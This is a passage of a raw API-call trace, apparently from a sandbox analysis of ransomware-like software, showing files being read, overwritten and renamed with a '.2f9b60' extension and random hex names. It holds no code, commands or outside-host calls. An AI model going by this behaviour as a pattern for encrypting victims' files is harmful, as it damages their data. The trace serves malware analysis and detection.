_Dest=0x431ad82a, _Format="%c%c" | out: _Dest="28") returned 2 [0235.273] sprintf (in: _Dest=0x431ad82c, _Format="%c%c" | out: _Dest="e8") returned 2 [0235.273] sprintf (in: _Dest=0x431ad82e, _Format="%c%c" | out: _Dest="10") returned 2 [0235.273] sprintf (in: _Dest=0x431ad830, _Format="%c%c" | out: _Dest="43") returned 2 [0235.273] sprintf (in: _Dest=0x431ad832, _Format="%c%c" | out: _Dest="53") returned 2 [0235.273] sprintf (in: _Dest=0x431ad834, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.273] sprintf (in: _Dest=0x431ad836, _Format="%c%c" | out: _Dest="79") returned 2 [0235.273] sprintf (in: _Dest=0x431ad838, _Format="%c%c" | out: _Dest="80") returned 2 [0235.273] sprintf (in: _Dest=0x431ad83a, _Format="%c%c" | out: _Dest="02") returned 2 [0235.273] sprintf (in: _Dest=0x431ad83c, _Format="%c%c" | out: _Dest="00") returned 2 [0235.273] sprintf (in: _Dest=0x431ad83e, _Format="%c%c" | out: _Dest="e2") returned 2 [0235.273] sprintf (in: _Dest=0x431ad840, _Format="%c%c" | out: _Dest="4a") returned 2 [0235.273] sprintf (in: _Dest=0x431ad842, _Format="%c%c" | out: _Dest="e2") returned 2 [0235.274] sprintf (in: _Dest=0x431ad844, _Format="%c%c" | out: _Dest="78") returned 2 [0235.274] sprintf (in: _Dest=0x431ad846, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.274] sprintf (in: _Dest=0x431ad848, _Format="%c%c" | out: _Dest="49") returned 2 [0235.274] sprintf (in: _Dest=0x431ad84a, _Format="%c%c" | out: _Dest="ee") returned 2 [0235.274] sprintf (in: _Dest=0x431ad84c, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.274] sprintf (in: _Dest=0x431ad84e, _Format="%c%c" | out: _Dest="82") returned 2 [0235.274] RtlInitAnsiString (in: DestinationString=0x1bd4fe68, SourceString="b7bd16f87728e8104353b879800200e24ae278d849ee5a82" | out: DestinationString="b7bd16f87728e8104353b879800200e24ae278d849ee5a82") [0235.274] RtlAnsiStringToUnicodeString (in: DestinationString=0x1bd4fe38, SourceString="b7bd16f87728e8104353b879800200e24ae278d849ee5a82", AllocateDestinationString=1 | out: DestinationString="b7bd16f87728e8104353b879800200e24ae278d849ee5a82") returned 0x0 [0235.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1cddf440 [0235.274] wcscat (in: _Dest=0x20508c70, _Source="b7bd16f87728" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b7bd16f87728") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b7bd16f87728" [0235.275] wcscat (in: _Dest=0x20508c70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b7bd16f87728.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b7bd16f87728.2f9b60" [0235.275] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b7bd16f87728.2f9b60", NtPathName=0x1bd4fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\b7bd16f87728.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x43129f20 Thread: id = 3762 os_tid = 0x1884 [0227.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif")) returned 0x20 [0227.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF", dwFileAttributes=0x20) returned 1 [0227.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16e8 [0227.407] GetFileSizeEx (in: hFile=0x16e8, lpFileSize=0x1bdefbe0 | out: lpFileSize=0x1bdefbe0*=292) returned 1 [0227.407] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.407] ReadFile (in: hFile=0x16e8, lpBuffer=0x1bdefb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1bdefba8, lpOverlapped=0x0 | out: lpBuffer=0x1bdefb60*, lpNumberOfBytesRead=0x1bdefba8*=0x4, lpOverlapped=0x0) returned 1 [0227.408] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e860 [0227.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1f0 [0227.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d900 [0227.409] NtQuerySystemTime (in: CurrentTime=0x1bdefaa0 | out: CurrentTime=0x1bdefaa0*=132462178314022000) returned 0x0 [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x62886c5e [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x297804d5 [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x3ab0199d [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x13b2d732 [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x158fa8c4 [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x45032184 [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x2a96ca29 [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x4f30900d [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x3d875fdb [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x2e825999 [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x48696fc9 [0227.409] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x6f800354 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x2bd4409d [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x42f35703 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x5e051020 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x14b7e77a [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x7be621f8 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x5dc1749b [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x2c7b4255 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x5f5555c3 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x5e76379d [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x8eb5115 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x48696fc9 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x16c64250 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x49d19c42 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x603fce3b [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x204b8cc9 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0xbefb750 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x50a9b2c2 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x4725e028 [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x4097a40a [0227.410] RtlRandomEx (in: Seed=0x1bdefa90 | out: Seed=0x1bdefa90) returned 0x4ceac796 [0227.421] ReadFile (in: hFile=0x16e8, lpBuffer=0x202d3d40, nNumberOfBytesToRead=0x124, lpNumberOfBytesRead=0x1bdefa90, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesRead=0x1bdefa90*=0x124, lpOverlapped=0x0) returned 1 [0227.422] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.422] WriteFile (in: hFile=0x16e8, lpBuffer=0x202df170*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x1bdefa94, lpOverlapped=0x0 | out: lpBuffer=0x202df170*, lpNumberOfBytesWritten=0x1bdefa94*=0x124, lpOverlapped=0x0) returned 1 [0234.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4f0 [0234.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d930 [0234.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d930) returned 1 [0234.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202df170) returned 1 [0234.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d3d40) returned 1 [0234.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0234.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0234.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050d930 [0234.259] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.259] WriteFile (in: hFile=0x16e8, lpBuffer=0x431e0cc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1bdefbb0, lpOverlapped=0x0 | out: lpBuffer=0x431e0cc0*, lpNumberOfBytesWritten=0x1bdefbb0*=0x10a, lpOverlapped=0x0) returned 1 [0236.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0236.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645f0 [0236.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202645f0) returned 1 [0236.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645f0 [0236.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266630 [0236.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266630) returned 1 [0236.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0236.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ac9a0 [0236.334] sprintf (in: _Dest=0x431ac9a0, _Format="%c%c" | out: _Dest="31") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9a2, _Format="%c%c" | out: _Dest="e0") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9a4, _Format="%c%c" | out: _Dest="5e") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9a6, _Format="%c%c" | out: _Dest="d4") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9a8, _Format="%c%c" | out: _Dest="c9") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9aa, _Format="%c%c" | out: _Dest="0f") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9ac, _Format="%c%c" | out: _Dest="a9") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9ae, _Format="%c%c" | out: _Dest="71") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9b0, _Format="%c%c" | out: _Dest="65") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9b2, _Format="%c%c" | out: _Dest="43") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9b4, _Format="%c%c" | out: _Dest="4b") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9b6, _Format="%c%c" | out: _Dest="23") returned 2 [0236.334] sprintf (in: _Dest=0x431ac9b8, _Format="%c%c" | out: _Dest="7b") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9ba, _Format="%c%c" | out: _Dest="a0") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9bc, _Format="%c%c" | out: _Dest="71") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9be, _Format="%c%c" | out: _Dest="0a") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9c0, _Format="%c%c" | out: _Dest="4f") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9c2, _Format="%c%c" | out: _Dest="8c") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9c4, _Format="%c%c" | out: _Dest="92") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9c6, _Format="%c%c" | out: _Dest="6e") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9c8, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9ca, _Format="%c%c" | out: _Dest="5f") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9cc, _Format="%c%c" | out: _Dest="71") returned 2 [0236.335] sprintf (in: _Dest=0x431ac9ce, _Format="%c%c" | out: _Dest="e8") returned 2 [0236.335] RtlInitAnsiString (in: DestinationString=0x1bdefc28, SourceString="31e05ed4c90fa97165434b237ba0710a4f8c926ee55f71e8" | out: DestinationString="31e05ed4c90fa97165434b237ba0710a4f8c926ee55f71e8") [0236.335] RtlAnsiStringToUnicodeString (in: DestinationString=0x1bdefbf8, SourceString="31e05ed4c90fa97165434b237ba0710a4f8c926ee55f71e8", AllocateDestinationString=1 | out: DestinationString="31e05ed4c90fa97165434b237ba0710a4f8c926ee55f71e8") returned 0x0 [0236.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f600 [0236.336] wcscat (in: _Dest=0x431cb3a0, _Source="31e05ed4c90f" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\31e05ed4c90f") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\31e05ed4c90f" [0236.336] wcscat (in: _Dest=0x431cb3a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\31e05ed4c90f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\31e05ed4c90f.2f9b60" [0236.336] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\31e05ed4c90f.2f9b60", NtPathName=0x1bdefbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\31e05ed4c90f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e3260 Thread: id = 3763 os_tid = 0x1888 [0227.426] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\M5l6LirTT6fO.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\m5l6lirtt6fo.png")) returned 0x20 [0227.427] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\M5l6LirTT6fO.png", dwFileAttributes=0x20) returned 1 [0227.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\M5l6LirTT6fO.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\tya2z1\\x2lc7azw1\\yvytr3-edcoae\\m5l6lirtt6fo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c1c [0227.428] GetFileSizeEx (in: hFile=0x1c1c, lpFileSize=0x1d8dfaa0 | out: lpFileSize=0x1d8dfaa0*=43958) returned 1 [0227.428] SetFilePointerEx (in: hFile=0x1c1c, liDistanceToMove=0xabb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.428] ReadFile (in: hFile=0x1c1c, lpBuffer=0x1d8dfa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d8dfa68, lpOverlapped=0x0 | out: lpBuffer=0x1d8dfa20*, lpNumberOfBytesRead=0x1d8dfa68*=0x4, lpOverlapped=0x0) returned 1 [0227.429] SetFilePointerEx (in: hFile=0x1c1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e860 [0227.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d900 [0227.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1c0 [0227.430] NtQuerySystemTime (in: CurrentTime=0x1d8df960 | out: CurrentTime=0x1d8df960*=132462178314178000) returned 0x0 [0227.430] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x729d9ce1 [0227.430] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x76c0e66c [0227.430] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x59508d62 [0227.430] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x59dc5057 [0227.430] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x6e95dece [0227.430] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x1cba77c6 [0227.430] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x3244c950 [0227.430] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x512e5152 [0227.430] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x1d5fe865 [0227.430] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x28008fb9 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x73e589be [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x44b9c81b [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x75ae01cb [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x1a11f926 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x4f1975e9 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x781a8f7e [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x3fb4619b [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x16ea8bd [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x4382cf2 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x5b02b521 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x66382279 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x4bfff800 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x40c942e8 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x49d2a2a6 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x59249e96 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x64fd2206 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0xdaa7fa0 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x340cd6bf [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x165c8dc [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x10a8c663 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x7f563ce9 [0227.431] RtlRandomEx (in: Seed=0x1d8df950 | out: Seed=0x1d8df950) returned 0x50cfeb58 [0227.441] SetFilePointerEx (in: hFile=0x1c1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.441] ReadFile (in: hFile=0x1c1c, lpBuffer=0x202c10f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d8df9c0, lpOverlapped=0x0 | out: lpBuffer=0x202c10f0*, lpNumberOfBytesRead=0x1d8df9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0227.441] SetFilePointerEx (in: hFile=0x1c1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0227.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0227.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e860 [0227.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e860) returned 1 [0227.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202ee1b0 [0227.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e860 [0227.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1c0 [0227.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f1c0) returned 1 [0227.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0227.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0227.446] WriteFile (in: hFile=0x1c1c, lpBuffer=0x202ee1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d8df9c0, lpOverlapped=0x0 | out: lpBuffer=0x202ee1b0*, lpNumberOfBytesWritten=0x1d8df9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0232.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ee1b0) returned 1 [0232.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c10f0) returned 1 [0232.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f7b0 [0232.103] SetFilePointerEx (in: hFile=0x1c1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.103] WriteFile (in: hFile=0x1c1c, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x1d8dfa70, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x1d8dfa70*=0x112, lpOverlapped=0x0) returned 1 [0235.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167160) returned 1 [0235.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0170) returned 1 [0235.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266240) returned 1 [0235.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f7b0) returned 1 [0235.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e860) returned 1 [0235.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d900) returned 1 [0235.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f220) returned 1 [0235.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f070) returned 1 [0235.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x423ab370 [0235.931] wcscpy (in: _Dest=0x423ab370, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\M5l6LirTT6fO.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\M5l6LirTT6fO.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\M5l6LirTT6fO.png" [0235.931] wcscat (in: _Dest=0x423ab370, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\M5l6LirTT6fO.png.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\M5l6LirTT6fO.png.2f9b60" [0235.931] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\M5l6LirTT6fO.png.2f9b60", NtPathName=0x1d8dfa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\TYa2z1\\x2Lc7AzW1\\yvYTr3-eDCoAe\\M5l6LirTT6fO.png.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfa) returned 0x1cebcbe0 [0237.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebcbe0) returned 1 [0237.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43214390) returned 1 [0237.675] NtQueryInformationFile (in: FileHandle=0x1c1c, IoStatusBlock=0x1d8dfaf8, FileInformation=0x1d8dfb08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d8dfaf8, FileInformation=0x1d8dfb08) returned 0x0 [0237.675] NtSetInformationFile (FileHandle=0x1c1c, IoStatusBlock=0x1d8dfaf8, FileInformation=0x1d8dfb08, Length=0x28, 